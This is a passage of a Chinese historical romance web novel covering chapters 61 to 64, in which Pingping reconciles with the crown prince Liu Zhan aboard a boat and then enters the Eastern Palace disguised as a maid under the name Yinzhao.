蒋望回脸上表情一滞，继而确定“又回来”的不是自己以为的那个人，微泛笑意。 萍萍比他先行礼：“蒋兄。” 蒋望回躬身回礼：“萍娘子。”他朝内眺望，开盖的食盒正放桌上，摆了盘豆干出来。 “在用午膳么？”他明知故问。 “是啊，蒋兄吃了没？” 蒋望回目光重投到萍萍脸上，少顷，低沉回应：“没有。” 萍萍笑笑，没有留他下来一起吃饭的意思。 蒋望回心中泛起一丝酸涩，但仍笑着提高手中网兜，展示给萍萍看：“马泗河西瓜，襄邑本地的特产，方才原大人登船带了一筐来，分给娘子一个。” 见萍萍许久不语，蒋望回续道：“现在天气是冷了，前段时间，在寿春太平州那会能吃到最好。” 萍萍沉默却不是因为入秋，她再次确认：“这一个都是给我的吗？” 蒋望回点头。 萍萍面露无奈，这一个目视起码三十斤，她一个人怎么吃得完？ “你尝过这个本地西瓜了吗？” 蒋望回摇头，却也有些会意：“马泗河西瓜一旦离藤，就要尽快吃掉，放不住的。” 这话说得萍萍心疼，粒粒皆辛苦，她邀请蒋望回：“那我们一起分着吃吧……你有开西瓜的刀吗？” 没有的话她抱西瓜到后厨，找人开去。 蒋望回拍了拍自个腰间佩剑。 “宝剑开西瓜？”萍萍张目，“暴殄天物啊！” 他阖唇定定注视着她那双瞪圆的杏眼，萍萍直摇头：“宝剑合该染血，而不是西瓜汁，虽然都是红色……” “马泗河西瓜触刀自开。”蒋望回下巴朝房内桌上一点，“你把西瓜放桌上，我来开 ，不会沾一滴汁。”魔/蝎/小/说/m/o/x/i/e/x/s/.c/o/m 60-70 第61章 第六十一章 他突然很慌…… 蒋望回说着将西瓜递给萍萍， 一副你信也好，不信也罢，反正这个西瓜要分给你的表情 萍萍接过西瓜， 立马沉得两臂一弯。蒋望回旋即抬臂启唇， 萍萍却背过身， 抱着西瓜朝桌边走。 蒋望回合唇垂臂。 萍萍将西瓜放到桌上，叹道：“那劳烦蒋兄来切了。” 蒋望回垂眼瞅了会门槛，缓缓抬脚， 跨进房中。 到桌边， 手按柄上，正要拔剑出鞘， 萍萍按着西瓜问：“需要我帮你摁着不？” 蒋望回摇头：“手拿开。” 萍萍挪开手，紧紧盯着，蒋望回拔剑寒光一闪，西瓜竟真是触剑自开，裂为两半，内里皮薄瓤艳。 她笑着去瞥他的剑，蒋望回直接递给她看。 “真的一滴没沾上去， 蒋兄剑术卓绝、炉火纯青！” 蒋望回原本打算再将西瓜切成小块， 萍萍这么一夸， 他满面通红低头， 完全忘记要做什么。待想起来，再抬头时，萍萍已经舀了一碗瓜瓤， 笑吟吟递过来。 她是双手递的，蒋望回也拿双手接，动作迟钝。 他见碗中瓜瓤皆被小勺舀成球形， 萍萍的声音在他耳畔响起：“碗勺都是干净的，我还没开吃，没有用过，蒋兄不要嫌弃。” 蒋望回急道：“我不介意。” 萍萍给自己也舀好一碗，已经低头去尝，复冲蒋望回笑道：“嗯，这口感好沙，真不赖！” 蒋望回却仍盯着自己手里的碗，默不作声，面上也无甚表情。 萍萍读不出他的心思，只能猜，便解释：“这些天沾你们的光开眼界，见识了橙碗里酿蟹、鱼肉做荔枝、雪中腊梅的豆腐，许多许多。才晓得你们都是那般讲究精致，”她不好意思，也低了脑袋，“我就想着，不能再给你啃西瓜皮，就舀了几勺，也效仿着精致一回……” 蒋望回还是没反应，萍萍有些尴尬：不知道他是觉得她这么做好？还是嫌弃多此一举？ 蒋望回心里念的却全不是这些——那两半西瓜中间一圈瓤皆被舀空，她把中心最甜最嫩的瓜瓤舀给他吃。 从前只有他把瓤心舀给音和的份，还是头一回享受这待遇。 这个西瓜买得值，蒋望回心道。 萍萍却压根未思及这茬，因为西瓜两半，她两边瓤心都舀了，和蒋望回一人一碗，既没亏待，也没刻意讨好，朋友之间是平等的。 萍萍应对不能，低头吃瓜。蒋望回也舀了一勺瓤球送入口中，肉甜如蜜，丰厚的汁水直往他心里流：“襄邑的马泗河西瓜是非常有名的，东京人也爱吃，也多卖，七、八月一上市就排队买。其实东京有许多好吃的，万国咸通，四海珍奇，皆归市易，比方说羊角腰子、葱泼兔、金丝肚、蛤蜊和鹌子。” 萍萍目注蒋望回侧颜，他的嘴角扬得和投进来的光线一个弧度，平时板着的眉眼也弯下，脸上全是光彩。 她忽然觉得有点不对劲，即刻别首，不再看他。 蒋望回察觉动静，扭头看来，萍萍瞅着桌上的西瓜，明明是难得见他这样笑，启唇说的却是：“难得见你说这么多话。” 蒋望回注视着她：“有机会带你逛东京。” “好呀。”萍萍轻轻应了一声，冷战归冷战，心中仍牵挂，吃到好吃的瓜第一个想到的还是那个人：“他……”她声音低涩，“他吃到西瓜没有？” 蒋望回心中一刺，这瓜，甜过头了。 * 蒋望回从萍萍那回来时，发现林公等在自己房外。 几分诧异，他快步上前：“林公，可是有什么急事？” 林元舆摆手：“急要没有，就是刚才瞅见你在底下买西瓜，可是马泗河瓜？” 蒋望回垂眼：“是，方才买了一个放回房内了，林公若要，我再下去买一个带上来。” “不用不用。”林元舆入秋后是不吃寒凉物的，“老了，脾胃弱吃不得了。” 蒋望回负起手，等他进入正题。 林元舆将蒋望回拉到角落里，压低嗓子：“听说原正卿那小子上来……是想往东宫塞人？” 他都已经计划好了，等蒋望回一点头，就即刻表态“那哪成啊，咱们音和还在前头呢”，哪知蒋望回却否认：“没有的事。原大人就是想请殿下用膳，殿下疲乏拒了。” “殿下怎么了？” “昨晚没睡好。” “水路是不如陆路睡得踏实。”林元舆缓缓琢磨出这句，说完，竟没有走。蒋望回猜不透了，吸口气：“林公到底有何事？” “这样的，殿帅，寿春、襄邑，老夫瞧了一路，不瞒说，也起了保媒心思。老夫有一孙女，今方及笄，良善贤淑，略通文墨，殿帅也近而立了吧？人无妻如屋无梁，这一路南下北上，老夫青睐殿帅，有意结亲。” 林元舆忖着，自己已经和太子系一条绳上了，那太子这边最前程似锦的还属蒋家。 蒋望回沉默少顷，反问：“林公亦与殿下同路，如何不结东宫？” 林元舆虽贪名好利，但官场起落，十余年前罢黜赋闲，曾亲带过三年孙女，感情不一般，哪舍得她去后宫那种龙潭虎穴。 不得宠，凄凄惨惨，得宠也未必好，那句诗怎么说来着？“君王虽爱蛾眉好，无奈宫中妒杀人！” 他当然选家世好，家风正，上一辈无纳妾通房的蒋望回。 林元舆一笑了之，只道：“她的性子呀，和殿帅更投缘！” 蒋望回摆手：“承蒙林公抬爱，只是武人不惜死，没准哪日下官便马革裹尸，还是不要耽误您家小娘子了。” * 旅船驶离襄邑的第二日，下起滂沱大雨。河面白茫几不可见，甲板冲刷如瀑，雨声轰鸣若雷。 柳湛室内瞥见萍萍一手撑伞，一手提食盒，正从甲板经过，他嗓子一紧，唤出声：“萍萍。” 萍萍恍若未闻，继续朝右首走，柳湛放下公文追到门口，一开门水气浸蹿，他才发现蒋望回和袁未罗，并些许禁军也快走到门口。 柳湛看萍萍步伐快，终究是担心她滑倒占上风，深吸口气，当着众人面再唤：“萍萍！” 萍萍停步。 柳湛心中一喜，强压着不表露出来：“进来说。” 袁未罗在旁亦道：“是呀，雨这么大，萍娘子进屋说吧。” 少顷，萍萍竟真朝门口，朝柳湛这边走，柳湛回身在上首坐下，步伐轻快。 萍萍进门收伞，蒋望回几个也进屋。 “给我吧。”袁未罗从萍萍手里讨走滴水雨伞，都归到一处。 萍萍向袁未罗道了谢，一直往前走，与柳湛距离越拢越近，他心里的小人欢呼雀跃。 隔着三步的距离，萍萍驻足，柳湛直勾勾看着她分开双唇，身心不禁都有些发颤。 萍萍恭恭敬敬行礼，平静道：“民女参见殿下。” 柳湛“终于重新说上话”的喜悦才将升起，就忽转作不是滋味。 他要的说上话，不是这样的。 但到底该怎样？柳湛一时理不清楚。 “你方才要去哪里？”他沉声问。 “瓢泼大雨，民女不愿麻烦姐姐们，自行取送食盒。” 他近来食之无味，却想知道她每日在吃什么：“盒里盛的什么？” 萍萍将食盒放到地上，掀开盒盖，里面空的。 “殿下是问午膳。”蒋望回在旁帮柳湛传译。 “鹅排、酒烧香螺、薤花茄。”萍萍平平淡淡回答。 柳湛说不清楚，就是觉着这话重新说上了，却没有预料中的开心，反而比之前冷战时心里还堵。 他叹道：“等雨小些再走吧。” “谢殿下。”萍萍再行一礼，退至墙边，侧身站着。 柳湛看她一眼，重拾起公文。蒋望回亦从怀中掏出两本，递给柳湛：“这是御史台近期公务，林公风湿犯发作，痛苦不堪，外加雨大，属下就帮他捎过来了。” 柳湛扫眼封页， 一本有关法考，另一本汇报刻印，他接过来细翻，嘴上嘱咐：“请船医去瞧瞧林公。” 蒋望回躬着身：“已经去看过了 ，老毛病，难治。” “回京后请太医局的张丞事给瞧瞧，他擅灸湿。” “喏。” 柳湛说着林元舆的事，却看向萍萍，他晓得是哪不对劲了，一直只有他问，她答，她没有主动攀谈，更没有主动关心他。 “这雨再下下去，只怕明日难进城了。”蒋望回望着窗外的雨，蹙眉愁道。 船会比预估慢些，东京门钥去夜十三刻关闭，若晚于这个点到东京，殿下可以，但未必肯叫门。 “明日进不了，就后日进。”柳湛不在意进城早晚，却突然很慌张，害怕萍萍不愿和他一道进城。 于是，待雨小些，他便不顾旁人在场，下令道：“萍萍，你先去还食盒，酉时过半，再来这里一趟。” 屋内一时脸色各异，萍萍福身：“民女遵命。” * 柳湛申时就搁了笔，收起公务。 此时屋内仅剩袁未罗伺候，柳湛吩咐他：“去找几个女使来。” 袁未罗瞪大眼，不解其意。 柳湛挑眼：“让你找就去找。” 袁未罗喊了几个和萍萍一般大的女使，柳湛竟向她们询问，女子一般喜欢男人衣裳上熏什么香。 袁未罗惊得一下咬到舌头。 柳湛晲都不晲，只等那几女使回答，有的说偏爱男人身上清冷、冷冽味道，也有说喜欢闻甜甜的果香。 柳湛自己偏向冷香，但想想萍萍，还是命袁未罗熏衣时撤去龙涎，改过添加柑橘和佛手的沉香。 他沐浴过后就换上这套熏好的白绸交领上襦和同色褶裙鹤氅，束上萍萍送的那支星簪。 袁未罗瞅见簪子，左眼一跳。 柳湛再将平安符系在褶裙的系带上。 袁未罗瞅见绣符，右眼又一跳。 柳湛眺向窗外，天黑得越来越早，酉时就已暗了，眼下只能听见不断的雨声，击打甲板和窗楹。 雨又重下大了。 他摊手：“拿伞来。” 袁未罗不解：“殿下不是让萍娘子来这里吗？” “雨大，我去接她。” 袁未罗想殿下言之有理，找来两把大伞，柳湛看一眼便下令换小，并只捡一把，另一把命袁未罗收好。 于是，他就撑着这把将将只能遮一人的伞，自提灯笼去到三层。 萍萍提前一刻钟，原本只是推开门看雨下多大了，却直直望见男人等在伞下，一袭白衣，暗中亮色。 她哽咽了下，因为今晚这套衣裳记忆里他也穿过——一模一样的素白襦裙鹤氅，连云履都一致。唯一不同的是这回他簪了她送的星簪。 柳湛快步近前，二人转眼便共一把伞，萍萍可不会这么快原谅他，依照他的命令往楼下走，柳湛紧追，给她照亮打伞，过长廊走到二楼时，萍萍发现伞全倾在自己头顶，柳湛一侧肩头湿透。 她于不忍心，脚下加快想早点到柳湛房里。柳湛却紧随劝道：“天黑路滑，别走太快了。” 这是今晚碰面后他第一次开口，和夜风一起吹进萍萍耳中，软了她的耳根。 她不由轻声道：“这么大的雨，还不如约在我房中。” 那样就不会淋雨了。 柳湛声若叹息，极低极轻，却又是十足十的情人昵语，百转千回：“怕你不开门。” 恰巧到了柳湛房门口，他为她开门，萍萍一进去他就丢伞弃灯笼，紧紧抱住她，但下一刹又推开：“我身上湿的。” 萍萍比他矮许多，垂头的视线刚好就只能瞅见那枚平安符。她盯着它晃呀晃，再也忍不住，展开双臂回抱柳湛，先是啜泣，继而哭出声，这些天委屈和难过的眼泪就像外面的倾盆大雨，顷刻浸湿柳湛胸口。 柳湛也难受得要命，蹲下来一滴滴吻去她脸上泪珠，他的眸子亦溢出数分湿意，重新拥住她，哽咽道：“是为夫不好，让娘子受委屈了。” 萍萍闻言哭得更大声。 第62章 第六十二章 回宫 柳湛紧紧搂着她：“这些日子， 我也无一日安眠。” 萍萍恸哭：“我们……” 才讲两字，泣不成声。 柳湛温柔拭泪，又将她一乱缕发勾到耳后：“娘子慢慢讲。” 萍萍依然哽咽， 他轻轻将她抱到床沿上坐着， 自己蹲下， 仰面对视。 她俯瞰他的讨好姿势，吞下呜咽，抹去眼泪：“你别蹲了， 也上来坐。” 柳湛微笑：“我身上湿的。” 萍萍闻言打量柳湛， 他从头到脚，鞋履鹤氅都湿得一塌糊涂， 而她身上干净清爽，一滴都没淋着。 萍萍咬唇：“那你快换一身，别着凉了。” “我脱了就行，凉不着的。”柳湛说着自行解氅脱履，只剩下里衣里裤，但仍执拗要把平安符系在腰间。 萍萍看得寸心如割，主动牵柳湛来床边。一开始隔着一掌距离， 柳湛挪身， 变成和她紧紧挨贴， 展臂搂住：“好了都过去了， 以后咱们忘掉不快好好过日子。” 萍萍一凛，有些事必须得说清楚，不能含糊！ 此刻才重记起自己方才讲了两个字， 没说成的话，沉重续道：“我们是夫妻啊！” 她一条条数落：“你也口口声声称我娘子，可为何要给我穿宫婢的衣裳？还有， 你已经是有家室的人了，为何还要向别的女子献殷勤？” 说时仍止不住身凉心颤。 柳湛抓起萍萍的手，不答反问：“娘子可还记得岳父母姓甚名谁？籍贯何处？做何营生？” 萍萍不住摇头。 她那缕乱发又跑回面前，柳湛再帮她勾住，语气动作皆温柔：“本朝开国名臣元松，你可曾听过？” “元相嘛。”萍萍吸鼻揉眼，元松何人不晓？只是不知道官人为何突然问他。 “娘子以为元松如何？” “不是都说他是开国大功臣，言行无缺，完人一般。”死了快一百年的人，她也只能随后人评说。 “是啊，杜相三朝元老，文臣第一，”柳湛颔首，循循善诱，“可惜后来却被夺爵。” 萍萍先是一愣，继而记起来，元松中晚年坚持扶正嬖妾李娘子，他被高祖封国公，就特别想让李娘子当国夫人，从高祖朝一直讨到高宗朝，终得封诰。可元松的名声也因此臭了，皆道堂堂元相，竟为着一个女人冲动脑热，贻笑大方。 萍萍记得戏文里的元松多半是丑角、糊涂虫。 史上说，元松后来讲话都没人听了，族里的小辈都敢嗤笑他。 她想，元相后半生实现自己的抱负一定很难。 这也是她最在意的。 萍萍轻声问柳湛：“元相的李娘子是何出身？” “她是衡阳县尉之女。” 萍萍低头盯脚，李娘子爹好歹还是个官呢。 柳湛托她下巴稍微抬起些，在她额头印上一吻：“良臣尚且如此，何况孤……”他话顿住，两手牵起萍萍两手，令二人都侧身，四目相对，语重心长：“萍萍，我们现在不是在润州卖汤饼，不是寻常夫妻。” 良久沉默，室内只听得见两人呼吸和外面渐小雨声。 “所以我现在只能扮作你的侍婢？”萍萍颤声发问。 柳湛将她两只手握得紧紧，眸子在她脸上游移：“且再忍耐，一子不慎，满盘皆输。” 萍萍瞧着柳枝眼睛不管怎么挪，里面始终有个自己。他的眸子是深潭，而她早已纵身跃进去：“好，我答应你。” 柳湛一喜，就知道他的萍萍最好了，正要再启唇，却发现她仍不苟言笑，冷冷地问：“所以你弹琴献殷勤也是迫不得已？” “姚书云胞兄乃淮西总帅，他泰山更是我启蒙恩师，赫然势重。” “可、可你这样做实在失德！” 柳湛看萍萍一双圆圆的杏眼里满是愤怒，他万分不解，他全心全意只有她啊！那姚拱辰的妹子压根撼动不了。 萍萍睹见柳湛表情，摇头：“倘若我是受你殷勤的小娘子，一曲琴音动芳心，可你却仅仅是逢场作戏，我岂不是伤心又伤身？” 这般玩弄女子，会遭报应的。 当然，这句太重，她不忍心对柳湛说出口。 柳湛暗忖，自从有她后，别的女子在他眼里共用一张模糊脸。她这个要求，可以答应。 他赔笑：“为夫晓得错了，以后定不再犯。”他抓着萍萍手往自己胸前砸：“任娘子打罚。” 萍萍哪舍得真捶。 她晓得这天下官家一人独尊，太子是子，其他皇子也是子，朝堂上风谲云诡。阿湛过的是刀头舔血，如临深渊的日子，他已经十分疲累，除那一件玩弄人心的事做不得，其余的她不忍再苛责。 她又想起他说冷战后无一宿安眠。 其实早在今天白天相见时，她就发现他瘦了，眼里许多血丝，窝也深陷。 她既心疼又自责，望向柳湛的眼里道尽千言万语，这些日子的冷战，是不是影响了他的公务？ 没有。 柳湛以眼神回应。她眼里的情意他全睹见，一刹触动内心最深处。 “进宫以后，”他启唇讲早打好腹稿的话，却发现远比预想艰难，每个字都像芒刺扎心一样难受，“还要继续委屈娘……” 萍萍抬手捂住柳湛双唇，不必说了。人说爱到深处无怨尤，她斩钉截铁：“既结夫妻，生死与共，无怨无悔，誓无二志。” 是誓言。 是回忆里洞房花烛他俩共许的誓言。 柳湛心里的小人化作飞鸟，雀跃扑腾翅膀。他就知道，就知道，只要有所求，他的萍萍就会为之牵挂思虑，抚平伤痛，她是如此纵容自己，从来不会拒绝。 何况她还是自己喜欢的女人。 柳湛激动得抱紧萍萍：“待我登上大宝，一定昭告天下……” 他去吻她的面颊，无声带过后半句。 萍萍微扬下巴，颈似青葱。 柳湛心思玲珑，早在前几回情。事时就发现，萍萍也有和他的痣、喉结一样的弱点，她喜欢细细密密顺着唇角的吻，还有吻她的耳朵。 这仰脖是渴求亦是号令，柳湛心怀鬼胎，全力配合，竭尽讨好，惹得萍萍轻喘连连。 他继续从她耳后往下吻，过脖颈，揉坠袍服，滑坠落里裳，露出雪腻肩头。他直勾勾瞅着，兀地想，如果她早些低头该多好啊？ 他于百依百顺中生出一丝逆反，恨恨咬向萍萍肩头，然时隔多日才与这具魂牵梦绕的胴。体重见，他舍不得，近前齿空合，咬还作吻，他冰凉的唇和她温热的肌肤相触。 萍萍发现争吵过后的亲热竟然最舒畅，像卸掉了所有包袱，有种无事一身轻的错觉。她一直嗅到柳湛身上有好闻的橘子香，心旷神怡，鼻子吸了又吸，还紧贴他香最浓的一处肌肤。柳湛瞧在眼里，故作不知，却不自觉旋高嘴角。 浓情蜜意痴缠间，萍萍突然出神地问：“官人，你真当我是你娘子吗？” 柳湛撑着胳膊低着头，青丝垂在她两侧耳畔：“当然。” “他们说男人床上的话不能全信。” 柳湛眸光骤冷：“哪个他们？” 萍萍却不知自己方才那句话是哪里听来，只觉得有人耳提面命过，恍惚出口，继而又在茫然中沉沦。 半晌，上下变幻，同坐，她指尖抚过他的脸：“其实今晚这套衣裳你以前也穿过。” 以前？ 柳湛顿时明白是回忆，心中不悦，却又想以前跟过就跟过吧，只要以后只有他一个男人就行。 他能容忍了，但仍不愿详谈深究，手拨葡萄，促眸笑道：“那我有没有这样？” 不等萍萍作答，就仰面转头，牢牢封住她的唇。 襄王访神女，登巫山最后一座峰前果断抽身，三千云雾断续萦绕腹间。 柳湛轻微喘气，睁开眼。 他起身披衣叫了水，帮她擦身，自己也清理下，而后相拥入眠。 “我们以后三、四十年都这样吧。”他嗫嚅，也许三十年、四十年后就厌倦萍萍了。 萍萍却想四十年后他俩都六十多了，岂不是过完这一生？ “好啊。” …… 萍萍是被船外的喧嚣声吵醒的，她撩开绡帐眺窗外，发现天亮着，雨停了，船正缓缓穿过河道城门，城墙拱壁上雕镌着海马水兽，再往前，两岸皆排列着青石柱，柱后车马行人。 他们按时抵达东京。 萍萍欣喜，推了下柳湛，他没醒，仍侧卧着，神色恬淡，呼吸均匀。 这还是事后第1回 见他睡得这么沉。 他好些天没睡，多补补觉，萍萍想着没再推攘柳湛，自己默默远眺，张家油饼、徐家瓠羹，还有一座兵器所，摆摊叫卖的贩鹰鹘客，穿街走巷的手作艺人 仅透过窗户她就看花了眼。 一只受惊的凫雁从水中反扑上甲板，她也跟着后仰倾身。 船不会是被一只雁闹的吧？也重重栽了下。 “前面走不了了，要下船！”外面闹哄哄的喊，柳湛醒来，身尚卧着，伸臂箍住她的腰。 萍萍扭头看向他：“好像要下船了？” 柳湛起身穿衣：“前面相国寺桥低平，不通船舟。” 待两人用完膳，将要离开房间时，萍萍拉了下柳湛衣角：“今天还没喝药。” “今时不同往日，以后都不用了。”他不紧不慢回，萍萍却以为京中多腥风血雨，药能被人利用什么的，一下警备得不得了。 柳湛也不点破，与她分在首尾两端下船，萍萍见到了那座相国寺桥，竟通体只用一块巨木架起，桥下无柱，虽低平仍若飞虹。 她跟着队伍最末，道路两侧渐渐多了竖立的黑漆杈子，不一会都变成朱漆，队伍如鱼摆尾绕到朱杈子外。 她瞅杈里有砖石砌的小溪，里面许多开败的莲花，也不敢问，不久就到一城墙前，那墙砖比她见过的所有砖都宽厚，上面还雕了龙凤飞云。中央连墙的三层楼宇雕甍画栋覆着琉璃瓦，匾额上题着宣德楼三个大字。 穿过宣德楼，内里亦是朱栏彩槛，她再次瞧见朱红杈子，过了一扇东华门，又一道宫门，萍萍跨过门槛刚走三、四步，就听见沉重挪门声响。她回眸，铜门在眼前关闭，墙外梨树露着半树尖尖和些许青果，随风轻晃，树影斑驳。 第63章 第六十三章 银照 “萍娘子。” 她听见袁未罗轻唤， 收回目光。 袁未罗就在萍萍身后，嗓子再压低些：“快跟我来。” 萍萍赶紧跟着袁未罗走，二人悄悄离开队尾， 往左侧拱门行进。袁未罗庆幸：“赶上宫里进新人， 分了一拨来东宫， 娘子正好一道。” “多久进一拨新人？” “一年两回。” “那相对应的，每年也有人出宫吗？”萍萍心想，要是只进不出， 掖廷浮费岂不越来越多？ “当然！” 袁未罗停下来转看萍萍， “官家仁慈，岂会强将人幽闭宫中？”他还欲再说， 迎面走来一三十上下的娘子，头包红巾，肩背包袱。 袁未罗与她见礼，问：“陈掌灯是今日归去？可曾辞别殿下？” 那头巾娘子颔首：“已经谢过殿下深恩。” 袁未罗掏袖子，搜出一锭银交到她手上：“一点心意，掌灯莫要推辞。” 头巾娘子收下，又说自己已经不是掌灯了， 莫要再这样唤。袁未罗直点头：“是、是， 贺陈娘子新生。” 头巾娘子道：“别路千里， 各自珍重。” “珍重。” 萍萍和袁未罗一起目送头巾娘子走远， 听不见了，袁未罗才噘嘴：“喏，这个就是出宫的。” 他继续领萍萍往殿内走：“年纪大了请奏去宫， 官家和殿下通常会允，再比方去岁大涝，放出去好大一拨宫人消灾。” 说到这袁未罗合唇， 不知道路上遇到的太平州大旱好转没有？ “那你以后会出宫吗？”萍萍问袁未罗。 “我？我出去做什么？”宫婢出去多半为着成家，他一个太监，出去还不如宫里呢。袁未罗反问萍萍，“你呢？以后会出宫不？” 萍萍不假思索笑道：“我要追随殿下。” “想来也是。”袁未罗附和，看了眼萍萍，她以后估计会晋升成红霞帔或夫人。 飞檐琉璃瓦返照在门槛周遭，犹如湖面，二人前后脚踏过粼粼波光，进入殿内。一面巨大的象牙屏风作为玄关遮挡，屏风上金童玉女、仙官神将，衣如流水，气韵生动。 袁未罗指屏风，得意道： “怎么样，我没骗你吧？” 他特意等萍萍多欣赏两眼，才带她绕过屏风。 里面已经站了两排女子，象牙屏风巨大，刚才完全没瞧着。 袁未罗抬下巴，示意萍萍也站到队伍中去。后排比前排少一人，她正好补上缺角。袁未罗自己则邀队伍前方统领、内仆常侍和司薄三人，一起到里间谈话。 这仨人一见袁未罗领个小娘子来，就猜到要塞人——但到底是他自己收了好处加塞，还是太子殿下吩咐？ 不得而知。 于是三人皆不动声色，只问：“袁殿头，什么事啊？” 袁未罗拱手：“某带来的这位小娘子，也要进东宫。” 他作完揖后，从怀中掏出一张泛黄纸：“这是这位小娘子的户籍名录。” 司薄接过，袁未罗即刻垂下胳膊。统领、常侍、司薄齐齐心道：好么，没掏袖袋，没好处，这娘子是太子的女人。 仨人认真起来：“好说好说。” “殿下吩咐，她免去诊视，分到司寝局。” 新进的宫人皆要通过医工诊视，验明处子，防禁甚严。可殿下哪会允旁人近萍娘子身？万不可行这一环。 说来扬州那会，殿下本来要纳萍娘子却突然不纳了，但落红的床单依旧收纳，带回东宫。殿下不提，就继续好生收着。 袁未罗正有一茬没一茬乱想，司薄和常侍一同凑近，按规矩，新进的宫婢都要统一改名字，司薄将谱册递到袁未罗面前：“袁殿头，这是今日排到的宫人名字，殿下有没有额外吩咐？” 袁未罗摆手：“你们就正常排。” * 大殿。 女官和内侍们一消失，原先个个似木桩的少女们就活络起来，有动动手脚的，有滴溜眼珠四处打量的，盯得最多的还是身后的象牙屏风。 萍萍默数人数，加上她一共十个人。 她自认个头不高，但竟是一群人里最拔尖的，且其他人面相瞧着好小，萍萍忍不住问前面女子：“妹妹，你多大呀？” 那女子皮肤偏黑，有双深陷的大眼：“十二。” 才十二？ 萍萍张唇。 “我也十二。”少女们听见交谈，纷纷过来搭话：“我十三。” 问了一圈，除了萍萍全都是十二、三岁。 她今年已满二十三，比她们都年长十来岁！ 平时不觉得自个年纪大，眼下却突地局促起来。 就在这时，袁未罗等人从里屋走出，少女们即刻噤声，天地安静。 萍萍偷偷冲袁未罗笑了下。 酒窝还挺好看，袁未罗旋起嘴角，回以一笑，而后微抬下巴，无声示意：我再待会，再走。 萍萍笑着点头。 她不晓得那几位老宫人具体官职，心底一律称作女官。女官们对着名册喊：“兴元府，宋妙女，十三岁。” 每唤一回，就有一女出列，随女官到里屋，不知道做什么。 “零陵，金苔，十二岁。” “苍梧，张凝华，十二岁。” …… 萍萍竖起耳朵等念到自己。 “润州，萍萍，十七岁。” “什——”她差点出声，咬唇，眼睛直直望向袁未罗——怎么把她年纪改小了六岁？是官人授意的吗？ 袁未罗懵的。 萍萍以为自己也会被领进里屋，女官却同她好商好量：“你原地候着。” 萍萍再次瞥向袁未罗，袁未罗含笑眨眼。 众女除了她，全都进过一趟里屋后，就开始改名，从左往右，从前往后：“月照、夕照。” “萤照、镜照、花照、壁照。” 看来皆是“照”字辈，萍萍左边少女分了一个“金照”，到萍萍时，刚好轮到“银照”。她想金照银照，估计类似金吒木吒，这般取名。但她却旋即思及“从别后，忆相逢。几回魂梦与君同。今宵剩把银釭照，犹恐相逢是梦中”，这不就是她和官人么？ 萍萍眉开眼笑，她很喜欢这个新名字。 寻思间袁未罗已同女官们道别，又朝萍萍点了下脑袋，也算告辞，而后绕过屏风，踪影不见。 萍萍继续留下听训。 “既然入了东宫，就是东宫的人了，要竭尽全力服侍殿下。” “没有陛下和殿下的赦令，不得擅自离宫。” …… 萍萍蹙眉，隐隐约约听着殿外好像有惨叫声。她看向女官，她们却都没听见，依旧正颜厉色训导：“殿下的正殿和寝殿，没有允许不能入内。” 萍萍发现之前搭讪的那位大眼睛少女也听见了，扭头朝门外看。 “看什么呢？”女官厉喝。 少女和萍萍齐刷刷聚精会神。 “不得随便与外人见面，不得勾结宫人、内侍。”女官都交代完，才踱步到大眼睛少女面前：“你，心不在焉，原地罚跪一个时辰。” * 袁未罗出门以后也听见惨叫声。 循声眺了眺，见不是从萍萍那殿发出来的，就继续往前走。 大家都是这么过来的。 他到太子寝殿复命时，柳湛快换完一身衣裳，只剩玉带未系。 柳湛摆了摆手，屏退宫婢。 袁未罗上前：“殿下，萍娘子那边已经安排妥当。” 柳湛低头系带。袁未罗又道：“现在应该改口称银娘子了。” 柳湛系带的手一顿，袁未罗笑眯眯：“照字辈里，她分了一个银照。”取名袁未罗是听了全程，径自叨叨，“金吒木吒，金照银照，缘何不是金照木照？” “你自己听好听吗？”柳湛系好玉带，抬起头来，金照是日照金山，银照却恐怕来源于“今宵剩把银釭照，犹恐相逢是梦中”。此名一般，她那么喜欢月亮，分得月照应该更好。 袁未罗瞥见柳湛面上憾意，多嘴一问：“殿下为何不给萍娘子指定名字？或者就允她继续叫萍萍。” 柳湛却只道：“传孤命令，让苏统领和尚食来一趟，尚食局司膳蒋音和平调宫内司酝司，不再任职东宫。” 司酝和司膳皆是正五品，平级调任，柳湛自认为没有错处。 袁未罗噎得沉默了会，才缓缓应喏。柳湛却又问：“她还有别的事不？” 袁未罗迷茫须臾，反应过来殿下是想打听萍娘子今日经历，他斟酌了下，捡爱听的讲：“路上遇到陈掌灯，娘子问了几句，得知掌灯出宫，娘子说她将来不会出去，要永远追随殿下。” 袁未罗瞧得分明，殿下听到这话眉眼间即刻增添一抹欢喜，像是谁用笔描绘上去。 殿下高兴，袁未罗也跟着开心：“奴这就去传话。” 袁未罗自去传令，柳湛则冉步出东宫，墙外青松苍劲，蒋望回候在松下，柳湛轻快笑道：“希颜，随孤去见官家。” 主仆前后去往福宁殿，行不多时，后面一声叫唤：“六哥！” 柳湛和蒋望回一齐回头，一墨袍少年慌慌张奔来，因为出来得急，甚至来不及簪发带冠，仅一根发带潦草束在脑后。 蒋望回躬身行礼：“七大王。” 少年朝他点了点头，再前跨一大步，冲着柳湛咧嘴大笑，露出一排皓齿：“六哥，你回来了。” 官家子嗣不厚，前五子均未活至成年，柳湛行六，在他后面是七大王柳沛，今年一十七岁。再往后八大王、九大王，才刚换乳牙，与兄长们年纪相差过大，漫长的禁宫岁月里，只有柳湛柳沛两兄弟相依相伴，更为亲厚。 “阿七，”柳湛唤柳沛乳名，“给你带回些礼物，待会让希颜送过去。” “谢谢六哥！” 柳湛颔首，迈步继续前往官家寝殿，柳沛跟着他走，扭头笑问：“六哥，江南好玩吗？” 第64章 第六十四章 为谁风露立中宵 柳湛边走边应：“人人皆道江南好， 听闻父皇贵体欠安，我只愿早还家。” 柳沛旋即停步：“你要去福宁宫啊？那我不跟着去了！” 柳湛笑：“你今日向父皇请安了么？” “唉，别说了， ”柳沛长叹， “早上在福宁和仁明各挨一顿骂。” “你又做什么 惹父皇和娘娘生气了？” “学问没做好。” 柳湛放慢步子， 侧首食指指向柳沛：“你呀！” 他前行经过御苑荷池，花已无一，半池绿萍， 柳沛在后追着解释：“我就是没背对滕文公问孟子， 一时记茬了，娘娘竟说我连八弟、九弟都不如。” 柳湛脚下一顿：“娘娘在亲带两位弟弟？” 柳沛点头：“最近几月是这样。” 皇后诞下柳湛后再无生育。柳沛的亲母是位红霞帔， 生他时难产亡故，所以自小跟着柳湛一起，由皇后抚养长大。 八大王、九大王是官家近年新得的美人诞下，二位娘娘母凭子贵，晋封郡君，亲带小皇子，怎么现在又跑到皇后那去了？ 柳湛边走边慢悠悠回应：“娘娘慈母心。” 